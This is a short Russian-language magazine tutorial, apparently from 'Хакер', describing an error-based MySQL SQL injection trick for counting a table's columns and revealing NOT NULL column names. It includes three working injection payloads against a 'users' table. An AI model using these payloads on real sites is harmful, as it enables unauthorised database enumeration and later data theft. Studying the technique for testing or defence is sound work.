Витрина продуктов

Все продукты →
  • Подписка на «Хакер»

    Все статьи, архив и бонусы

    6000 ₽ / год

    Оформить
  • Печатный журнал

    Легендарный в твоём формате

    710 ₽ / номер

    Купить
  • Онлайн-курсы

    Практические навыки от экспертов

    от 9000 ₽

    Выбрать

Представлю недавно
опубликованный на форуме sla.ckers.org юзером
Paic способ, с помощью которого можно узнать
имена колонок, если они имеют тип NOT NULL.
Отправляем первый запрос, чтобы узнать, сколько
колонок в нужной нам таблице:

id=1 and (select
* from users) = (1)

В результате MySQL вернет ошибку «Operand
should contain 7 column(s)». Это значит, что в
таблице users 7 полей. Тогда составим логически
верный запрос:

id=1 and (1,2,3,4,5,6,7) = (select *
from users union select 1,2,3,4,5,6,7 limit 1)

Запрос верный и ошибки мы не увидим. А теперь
о том, как узнать имена колонок. Для каждого
поля в запросе поочередно подставляем
последовательность символов %0 и, если у поля
стоит ключ NOT NULL, мы увидим ошибку. Посмотрим
на примере:

id=1 and (1,2,3,4,5,6,7) = (select *
from users union select 1%0,2,3,4,5,6,7 limit 1)

В итоге видим ошибку – «Column 'id' cannot be
null».

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии